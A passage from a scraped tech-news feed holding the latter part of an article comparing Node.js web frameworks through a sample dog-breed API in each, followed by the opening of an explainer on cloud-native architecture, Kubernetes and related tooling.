<h3 class="wp-block-heading">Fastify</h3>



<p class="wp-block-paragraph"><a href="https://fastify.dev/">Fastify</a> lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:</p>



<pre class="wp-block-code"><code>const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) =&gt; {
  const id = request.params.id;

  if (id &gt;= 0 &amp;&amp; id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});</code></pre>



<p class="wp-block-paragraph">From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.</p>



<h3 class="wp-block-heading">Hono</h3>



<p class="wp-block-paragraph"><a href="https://hono.dev/">Hono</a> emphasizes simplicity. You can define a server and endpoint with as little as:</p>



<pre class="wp-block-code"><code>const app = new Hono()
app.get('/', (c) =&gt; c.text('Hello, Infoworld!'))  </code></pre>



<p class="wp-block-paragraph">And here’s how our dog breed example looks:</p>



<pre class="wp-block-code"><code>app.get('/dogs/:id', (c) =&gt; {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});</code></pre>



<p class="wp-block-paragraph">As you can see, Hono provides a unified context object, similar to Koa.</p>



<h3 class="wp-block-heading">Nitro.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Nitro</a> is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4061129/intro-to-nitro-the-server-engine-built-for-modern-javascript.html">Intro to Nitro: The server engine built for modern JavaScript</a>.</strong></p>



<p class="wp-block-paragraph">Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:</p>



<pre class="wp-block-code"><code>/api/dogs/:id</code></pre>



<p class="wp-block-paragraph">The handler might look like this:</p>



<pre class="wp-block-code"><code>export default defineEventHandler((event) =&gt; {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.</p>



<h2 class="wp-block-heading">Batteries-included frameworks</h2>



<p class="wp-block-paragraph">Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.</p>



<h3 class="wp-block-heading">Nest.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Nest</a> is a progressive framework built with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4091407/intro-to-nest-js-server-side-javascript-development-on-node.html">Intro to Nest.js: Server-side JavaScript development on Node</a>.</strong></p>



<p class="wp-block-paragraph">Here is an example of injecting a dog finder provider into a controller:</p>



<pre class="wp-block-code"><code>// The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}</code></pre>



<p class="wp-block-paragraph">This style is typical of dependency injection frameworks like <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Angular</a>, as well as <a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a>. It allows you to declare components as injectable, then consume them anywhere you need them.</p>



<p class="wp-block-paragraph">In Nest, we’d just add these as modules to make them live.</p>



<h3 class="wp-block-heading">Adonis.js</h3>



<p class="wp-block-paragraph">Like Nest, <a href="https://adonisjs.com/">Adonis</a> provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.</p>



<p class="wp-block-paragraph">Routes in Adonis are very simple:</p>



<pre class="wp-block-code"><code>Route.get('/dogs/:id', [DogsController, 'show'])</code></pre>



<p class="wp-block-paragraph">In this case, <code>DogsController</code> would be the handler for the route, and might look something like:</p>



<pre class="wp-block-code"><code>import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) &amp;&amp; id &gt;= 0 &amp;&amp; id &lt; this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}</code></pre>



<p class="wp-block-paragraph">Of course, in a real application, we could define a model layer to handle the actual data access.</p>



<h3 class="wp-block-heading">Sails</h3>



<p class="wp-block-paragraph"><a href="https://sailsjs.com/">Sails</a> is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (<a href="https://sailsjs.com/documentation/reference/waterline-orm">Waterline</a>), API generation (<a href="https://sailsjs.com/documentation/reference/blueprint-api">Blueprints</a>), and realtime support, including <a href="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html" data-type="link" data-id="https://www.infoworld.com/article/3552685/websockets-under-the-hood.html">WebSockets</a>.</p>



<p class="wp-block-paragraph">Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:</p>



<pre class="wp-block-code"><code>/**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};</code></pre>



<p class="wp-block-paragraph">If you run this in Sails, the framework will generate default routes and wire up a <a href="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html" data-type="link" data-id="https://www.infoworld.com/article/2265797/how-to-choose-the-right-nosql-database-2.html">NoSQL</a> or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.</p>



<h2 class="wp-block-heading">Full-stack frameworks</h2>



<p class="wp-block-paragraph">Also known as <a href="https://www.infoworld.com/article/3486850/state-of-javascript-insights-from-the-latest-javascript-community-survey.html">meta-frameworks</a>, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.</p>



<h3 class="wp-block-heading">Next.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4078213/next-js-16-features-explicit-caching-ai-powered-debugging.html">Next</a> is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.</p>



<p class="wp-block-paragraph">In Next, we could define a route at <code>pages/api/dogs/[id].js</code> like so:</p>



<pre class="wp-block-code"><code>export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}</code></pre>



<p class="wp-block-paragraph">We’d then define the UI component to interact with this route at <code>pages/dogs/[id].js</code>:</p>



<pre class="wp-block-code"><code>import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
  // Handle the case where the dog wasn't found
  if (!dog) {
    return <h1>Dog Breed Not Found</h1>;
  }

  return (
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{dog.breed}</strong></p>
    </div>
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;</code></pre>



<h3 class="wp-block-heading">Nuxt.js</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4025936/nuxt-4-0-improves-project-organization-data-fetching-typescript-support.html">Nuxt</a> is the same idea as Next, but applied to the <a href="http://vue.js/">Vue</a> front end. The basic pattern is the same, though. First, we’d define a back-end route:</p>



<pre class="wp-block-code"><code>// server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) =&gt; {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId &gt;= 0 &amp;&amp; parsedId &lt; dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">Then, we’d create the UI file in Vue:</p>



<pre class="wp-block-code"><code>// pages/dogs/[id].vue


  <div>
    <div>
      Loading...
    </div>
    <div>
      <h1>{{ error.data.error }}</h1>
    </div>
    <div>
      <h1>Dog Breed Profile</h1>
      <p>Breed Name: <strong>{{ dog.breed }}</strong></p>
    </div>
  </div>


</code></pre>



<h3 class="wp-block-heading">SvelteKit</h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337758/intro-to-sveltekit-10-the-full-stack-framework-for-svelte.html">SvelteKit</a> is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.</p>



<p class="wp-block-paragraph">In SvelteKit, a back-end route looks like so:</p>



<pre class="wp-block-code"><code>// src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}</code></pre>



<p class="wp-block-paragraph">The second component is the UI:</p>



<pre class="wp-block-code"><code>// src/routes/dogs/[id]/+page.svelte



<div>
  <h1>Dog Breed Profile</h1>
  <p>Breed Name: <strong>{data.dog.breed}</strong></p>
</div></code></pre>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.<br><br>If you are building <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a> or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.<br><br>If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.<br><br>Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.<br><br>It’s also worth noting that, while Node remains the standard server-side runtime, alternatives <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a> have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>. Bun is respected for its ultra-fast startup and integrated tooling.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloud native explained: How to build scalable, resilient applications]]></title>
<description><![CDATA[What is cloud native? Cloud native defined



The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the speci...]]></description>
<link>https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading"><strong>What is cloud native? Cloud native defined</strong></h2>



<p class="wp-block-paragraph">The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the specific architecture choices and environments used to build applications for the public cloud, but also the software engineering techniques and philosophies used by cloud developers.</p>



<p class="wp-block-paragraph">The <a href="https://www.cncf.io/">Cloud Native Computing Foundation</a> (CNCF) is an open source organization that hosts many important cloud-related projects and helps set the tone for the world of cloud development. The CNCF offers its own definition of cloud native:</p>



<p class="wp-block-paragraph"><em>Cloud native practices empower organizations to develop, build, and deploy workloads in computing environments (public, private, hybrid cloud) to meet their organizational needs at scale in a programmatic and repeatable manner. It is characterized by loosely coupled systems that interoperate in a manner that is secure, resilient, manageable, sustainable, and observable.</em></p>



<p class="wp-block-paragraph"><em>Cloud native technologies and architectures typically consist of some combination of containers, service meshes, multi-tenancy, microservices, immutable infrastructure, serverless, and declarative APIs — this list is not exhaustive.</em></p>



<p class="wp-block-paragraph">This definition is a good start, but as cloud infrastructure becomes ubiquitous, the cloud native world is beginning to spread behind the core of this definition. We’ll explore that evolution as well, and look into the near future of cloud-native computing.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<h2 class="wp-block-heading"><strong>Cloud native architectural principles</strong></h2>



<p class="wp-block-paragraph">Let’s start by exploring the pillars of cloud-native architecture. Many of these technologies and techniques were considered innovative and even revolutionary when they hit the market over the past few decades, but now have become widely accepted across the software development landscape.</p>



<p class="wp-block-paragraph"><strong>Microservices. </strong>One of the huge cultural shifts that made cloud-native computing possible was the move from huge, monolithic applications to <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>: small, loosely coupled, and independently deployable components that work together to form a cloud-native application. These microservices can be scaled across cloud environments, though (as we’ll see in a moment) this makes systems more complex.</p>



<p class="wp-block-paragraph"><strong>Containers and orchestration. </strong>In could-native architectures, individual microservices are executed inside <em>containers </em>— lightweight, portable virtual execution environments that can run on a variety of servers and cloud platforms. Containers insulate the developers from having to worry about the underlying machines on which their code will execute. That is, all they have to do is write to the container environment. </p>



<p class="wp-block-paragraph">Getting the containers to run properly and communicate with one another is where the complexity of cloud native computing starts to emerge. Initially, containers were created and managed by relatively simple platforms, the most common of which was <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a>. But as cloud-native applications got more complex, container orchestration platforms<em> </em>that augmented Docker’s functionality emerged, such as Kubernetes, which allows you to deploy and manage multi-container applications at scale. Kubernetes is critical to cloud native computing as we know it — it’s worth noting that the CNCF was set up as a <a href="https://www.zdnet.com/article/cloud-native-computing-foundation-seeks-to-bring-more-cloud-and-container-unity/">spinoff of the Linux Foundation on the same day that Kubernetes 1.0 was announced</a> — and adhering to <a href="https://www.infoworld.com/article/2338688/6-best-practices-to-keep-kubernetes-costs-under-control.html">Kubernetes best practices</a> is an important key to cloud native success. </p>



<p class="wp-block-paragraph"><strong>Open standards and APIs. </strong>The fact that containers and cloud platforms are largely defined by open standards and <a href="https://www.infoworld.com/article/3800992/open-source-trends-for-2025-and-beyond.html">open source technologies</a> is the secret sauce that makes all this modularity and orchestration possible, and <a href="https://www.infoworld.com/article/3529600/how-do-you-govern-a-sprawling-disparate-api-portfolio.html">standardized and documented APIs </a>offer the means of communication between distributed components of a larger application. In theory, anyway, this standardization means that every component should be able to communicate with other components of an application without knowing about their inner workings, or about the inner workings of the various platform layers on which everything operates.</p>



<p class="wp-block-paragraph"><strong>DevOps, agile methodologies, and infrastructure as code. </strong>Because cloud-native applications exist as a series of small, discrete units of functionality, cloud-native teams can build and update them using agile philosophies like <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">DevOps</a>, which promotes <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">rapid, iterative CI/CD development</a>. This enables teams to deliver business value more quickly and more reliably.</p>



<p class="wp-block-paragraph">The virtualized nature of cloud environments also make them great candidates for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> (IaC), a practice in which teams use tools like <a href="https://developer.hashicorp.com/terraform/intro">Terraform</a>, <a href="https://www.pulumi.com/">Pulumi</a>, and <a href="https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html">AWS CloudFormation</a>, to manage infrastructure declaratively and version those declarations just like application code. IaC boosts automation, repeatability, and resilience across environments—all big advantages in the cloud world. IaC also goes hand-in-hand with the concept of <em>immutable infrastructure</em>—the idea that, once deployed, infastructure-level entities like virtual machines, containers, or network appliances don’t change, which makes them easier to manage and secure. IaC stores declarative configuration code in version control, which creates an audit log of any changes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/04/5_things_cloud_native.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart listing five things to love and five things to fear when considiering cloud native" class="wp-image-3970036" width="1024" height="472" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>There’s a lot to love about cloud-native architectures, but there are also several things to be wary of when considering it.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<h2 class="wp-block-heading"><strong>How the cloud-native stack is expanding</strong></h2>



<p class="wp-block-paragraph">As cloud-native development becomes the norm, the cloud-native ecosystem is expanding; the CNCF maintains a graphical representation of what it calls the  <a href="https://landscape.cncf.io/">cloud native landscape</a> that hammers home to expansive and bewildering variety of products, services, and open source projects that contribute to (and seek to profit from) to cloud-native computing. And there are a number of areas where new and developing tools are complicating the picture sketched out by the pillars we discussed above.   </p>



<p class="wp-block-paragraph"><strong>An expanding Kubernetes ecosystem.</strong> <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes </a>is complex, and teams now rely on an <a href="https://www.infoworld.com/article/2265338/13-tools-that-make-kubernetes-better.html">entire ecosystem of projects </a>to get the most out of it: <a href="https://www.infoworld.com/article/2264445/helm-3-package-manager-arrives-for-kubernetes.html">Helm</a> for packaging, <a href="https://argo-cd.readthedocs.io/en/stable/">ArgoCD </a>for GitOps-style deployments, and <a href="https://kustomize.io/">Kustomize </a>for configuration management. And just as Kubernetes augmented Docker for enterprise-scale deployments. Kubernetes itself has been augmented and expanded by <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">service mesh</a> offerings like <a href="https://istio.io/">Istio </a>and <a href="https://linkerd.io/">Linkerd</a><strong>, </strong>which offer fine-grained traffic control and improved security</p>



<p class="wp-block-paragraph"><strong>Observability needs. </strong>The complex and distributed world of cloud-native computing requires in-depth <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a> to ensure that developers and admins have a handle on what’s happening with their applications. <a href="https://www.infoworld.com/article/2337343/what-observability-means-for-cloud-operations.html">Cloud-native observability</a> uses distributed tracing and aggregated logs to provide deep insight into performance and reliability. Tools like <a href="https://www.infoworld.com/article/2246709/prometheus-unbound-open-source-cloud-monitoring.html">Prometheus</a>, <a href="https://www.infoworld.com/article/2337267/grafana-shining-a-light-into-kubernetes-clusters.html">Grafana</a>, <a href="https://www.cncf.io/projects/jaeger/">Jaeger</a>, and <a href="https://opentelemetry.io/">OpenTelemetry</a> support comprehensive, real-time observability across the stack.</p>



<p class="wp-block-paragraph"><strong>Serverless computing.  </strong><a href="https://www.infoworld.com/article/2261831/what-is-serverless-serverless-computing-explained.html">Serverless computing</a>, particularly in its function-as-a-service guise, offers to strip needed compute resources down to their bare minimum, with functions running on service provider clouds using exactly as much as they need and no more. Because these services can be exposed as endpoints via APIs, they are increasingly integrated into distributed applications, operating side-by-side with functionality provided by containerized microservices. Watch out, though: the big FaaS providers (<a href="https://www.infoworld.com/article/2265860/aws-lambda-tutorial-get-started-with-serverless-computing.html">Amazon</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Microsoft</a>, and <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google</a>) would love to lock you in to their ecosystems.  </p>



<p class="wp-block-paragraph"><strong>FinOps. </strong><a href="http://infoworld.com/article/2238873/what-is-cloud-computing.html">Cloud computing</a> was initially billed as a way to cut costs — no need to pay for an in-house data center that you barely use — but in practice it replaces capex with opex, and sometimes you can run up truly shocking cloud service bills if you aren’t careful. Serverless computing is one way to cut down on those costs, but financial operations, or <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a>, is a more systematic discipline that aims to aligns engineering, finance, and product to optimize cloud spending. <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">FinOps best practices</a> make use of those observability tools to best determine what departments and applications are eating up resources.</p>



<h2 class="wp-block-heading"><strong>How cloud-native architecture is adapting to AI workloads</strong></h2>



<p class="wp-block-paragraph">Enterprises deploy larger AI models and make use of more and more real-time inference services. That’s putting demands on cloud-native systems and forcing them to adapt to remain scalable and reliable.</p>



<p class="wp-block-paragraph">For instance, organizations are <a href="https://www.infoworld.com/article/4057189/the-rise-of-ai-ready-private-clouds.html">re-engineering cloud environments</a> around GPU-accelerated clusters, low-latency networking, and predictable orchestration. These needs align with established cloud-native patterns: containers package AI services consistently, while Kubernetes provides resilient scheduling and horizontal scale for inference workloads that can spike without warning.</p>



<p class="wp-block-paragraph">Kubernetes itself is <a href="https://www.infoworld.com/article/4045563/evolving-kubernetes-for-generative-ai-inference.html">changing to better support AI inference</a>, adding hardware-aware scheduling for GPUs, model-specific autoscaling behavior, and deeper observability into inference pipelines. These enhancements make Kubernetes a more natural platform for serving generative AI workloads.</p>



<p class="wp-block-paragraph">AI’s resource demands are amplifying traditional cloud-native challenges. Observability becomes more complex as inference paths span GPUs, CPUs, vector databases, and distributed storage. <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a> teams contend with cost volatility from training and inference bursts. And security teams must track new risks around model provenance, data access, and supply-chain integrity.</p>



<h2 class="wp-block-heading"><strong>Application frameworks for building distributed cloud-native apps</strong></h2>



<p class="wp-block-paragraph">Microsoft’s Aspire is one of the most visible examples of a shift towards application frameworks to simplify how teams build distributed systems. Opinionated frameworks like Aspire provide structure, observability, and integration out of the box so developer don’t need to stitch together containers, microservices, and orchestration tooling by hand.</p>



<p class="wp-block-paragraph">Aspire in particular is a <a href="https://www.infoworld.com/article/4023638/taking-net-aspire-for-a-spin.html">prescriptive framework for cloud-native applications</a>, bundling containerized services, environment configuration, health checks, and observability into a unified development model. Aspire provides defaults for service-to-service communication, configuration, and deployment, along with a built-in dashboard for visibility across distributed components.</p>



<p class="wp-block-paragraph">While Aspire was originally aligned with Microsoft’s .<a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">NET platform</a>,Redmond now sees it as having a<strong>  </strong><a href="https://www.infoworld.com/article/4085051/aspires-polyglot-future.html?utm_source=chatgpt.com">polyglot future</a>. This positions Aspire as part of a broader trend: frameworks that help teams build cloud-native, service-oriented systems without being locked into a single language ecosystem. Several other frameworks are gaining traction: Dapr provides a portable runtime that abstracts many of the plumbing tasks in cloud-native distributed applications, and Orleans offers an actor-model-based framework for large-scale systems in the .NET world, and Akka gives JVM teams a mature, reactive toolkit for elastic, resilient services.</p>



<h2 class="wp-block-heading"><strong>Frameworks and tools in the expanding cloud-native ecosystem</strong></h2>



<p class="wp-block-paragraph">While frameworks like Aspire simplify how developers compose and structure distributed applications, most cloud-native systems still depend on a broader ecosystem of platforms and operational tooling. This deeper layer is where much of the complexity—and innovation—of cloud-native computing lives, particularly as Kubernetes continues to serve as the industry’s control plane for modern infrastructure.</p>



<p class="wp-block-paragraph">Kubernetes provides the core abstractions for deploying and orchestrating containerized workloads at scale. Managed distributions such as Google Kubernetes Engine (GKE), Amazon EKS, <a href="https://www.infoworld.com/article/4058764/smoother-kubernetes-sailing-with-aks-automatic.html">Azure AKS</a>, and Red Hat OpenShift build on these primitives with security, lifecycle automation, and enterprise support. Platform vendors are increasingly automating cluster operations—upgrades, scaling, remediation—to reduce the operational burden on engineering teams.</p>



<p class="wp-block-paragraph">Surrounding Kubernetes is a rapidly expanding ecosystem of complementary frameworks and tools. <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">Service meshes</a> like Istio and Linkerd provide fine-grained traffic management, policy enforcement, and mTLS-based security across microservices. <a href="https://www.infoworld.com/article/2259088/what-is-gitops-extending-devops-to-kubernetes-and-beyond.html">GitOps</a> platforms such as Argo CD and Flux bring declarative, version-controlled deployments to cloud-native environments. Meanwhile, projects like Crossplane turn Kubernetes into a universal control plane for cloud infrastructure, letting teams provision databases, queues, and storage through familiar Kubernetes APIs. These tools illustrate how cloud-native development now spans multiple layers: developer-focused application frameworks like Aspire at the top, and a powerful, evolving Kubernetes ecosystem underneath that keeps modern distributed applications running.</p>



<h2 class="wp-block-heading"><strong>Advantages and challenges for cloud-native development</strong></h2>



<p class="wp-block-paragraph">Cloud native has become so ubiquitous that its advantages are almost taken for granted at this point, but it’s worth reflecting on the beneficial shift the cloud native paradigm represents. Huge, monolithic codebases that saw updates rolled out once every couple of years have been replaced by microservice-based applications that can be improved continuously. Cloud-based deployments, when managed correctly, make better use of compute resources and allow companies to offer their products as SaaS or PaaS services. </p>



<p class="wp-block-paragraph">But <a href="https://www.infoworld.com/article/2337882/the-downsides-of-cloud-native-solutions.html">cloud-native deployments come with a number of challenges</a>, too:</p>



<ul class="wp-block-list">
<li><strong>Complexity and operational overhead: </strong>You’ll have noticed by now that many of the cloud-native tools we’ve discussed, like service meshes and observability tools, are needed to deal with the complexity of cloud-native applications and environments. Individual microservices are deceptively simple, but coordinating them all in a distributed environment is a big lift.</li>



